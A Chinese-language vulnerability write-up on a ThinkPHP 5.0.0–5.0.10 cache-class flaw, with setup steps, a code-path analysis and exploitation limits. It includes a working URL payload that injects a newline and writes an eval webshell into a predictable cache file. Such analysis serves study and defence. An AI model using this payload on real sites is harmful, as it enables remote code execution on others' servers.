- 一、介绍
 - 1、简介
 - 2、版本
 - 3、搭建环境
 - 4、参考链接
- 二、复现
 - 1、Payload
 - 2、效果
- 三、分析
- 四、流程图

一、介绍

1、简介

该漏洞存在ThinkPHP的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在.php文件中,攻击者通过精心构造的Payload,即可将webshell写入缓存文件。缓存文件的名字和目录均可被预测,也就是说一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。

2、版本

```
5.0.0 <= ThinkPHP <= 5.0.10
```

3、搭建环境

```
1) 获取测试环境
composer create-project --prefer-dist topthink/think=5.0.10 ThinkPHP_5.0.10
2) 修改composer.json文件的require字段
"require": {
   "php": ">=5.4.0",
   "topthink/framework": "5.0.10"
},
3) 执行composer更新语句
composer update
4) 修改控制器内容 application/index/controller/Index.php
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
   public function index()
```

```
{
    Cache::set("name",input("get.username"));
    return 'Cache success';
}
```

4、参考链接

 $\label{lem:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part2/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%88%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C8.md$

二、复现

1、Payload

```
?username=mochazz123%0d%0a@eval($_GET[_]);//
```

2、效果

三、分析

1、传入Payload,下断点,开启Debug。

2、跟进到set函数,该功能为写入缓存。可以看到这里是调用了init函数,初始化了一个set对象。

```
/**

* 写入缓存

* @access public

* @param string $name 缓存标识

* @param mixed $value 存储数据

* @param int|null $expire 有效时间 0为永久

* @return boolean

*/

public static function set($name, $value, $expire = null) $expire: null

{

self::$writeTimes++;

return self::init() >set($name, $value, $expire); $expire: null
}
```

3、跟进到init函数,该功能为自动初始化缓存,并在最后返回了\$handler。

4、跟进到**\$handler**绑定的**File**类中的**set**函数,该功能为写入函数操作。这里首先调用了**getCacheKey**函数,对缓存的文件名进行了定义,此时传入的**\$name**值为**name**,也就是键值,后面会对其进行操作。

5、跟进到getCacheKey函数,最后返回一个php文件路径。

6、回到set函数中,在getCacheKey出来之后,\$filename的值已经确定位缓存目录中的一个文件。接下来开始对文件内容进行了操作,首先对文件内容进行序列化(这里我们使用了%0a%0d制造了一个换行,并在下一行写入webshell),然后将序列化后的内容和webshell拼接到php语句中,最后将文件内容写入到缓存文件中。

- 7、此时缓存文件已经写入成功,但是有三个可能存在的限制:
- 1) 该漏洞要利用成功,需要知道缓存类设置的键名,如上文中的\$name,这样才能找到webshell路径。
- 2) 如果按照官方说明开发程序,官方的推荐是将public作为网站根目录,而webshell最终是被写入到runtime目录,所以即便写入了shell,也无法访问。
- 3) 如果程序中有设置\$this->options['prefix']的话,会采用另一种文件命名方式,也就是在md5后的文件名前面加一个目录,在没有源码的情况下,还是没有办法获得webshell的准确路径。

四、流程图

```
Cache::set("name",input("get.username"));
public static function set($name, $value, $expire = null)
    return self::init()->set($name, $value, $expire);
public function set($name, $value, $expire = null)
    if (is_null($expire)) { ...
    $filename = $this->getCacheKey($name);=
    if ($this->tag && !is_file($filename)) {...
   ($data = serialize($value))
if ($this->options['data_compress'] && function_exists('gzcompress'));
       $data = gzcompress($data, 3);
   $data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
    if ($result) {
protected function getCacheKey($name) 
   if ($this->options['prefix']) { ...
    $filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
    if (!is_dir($dir)) {
```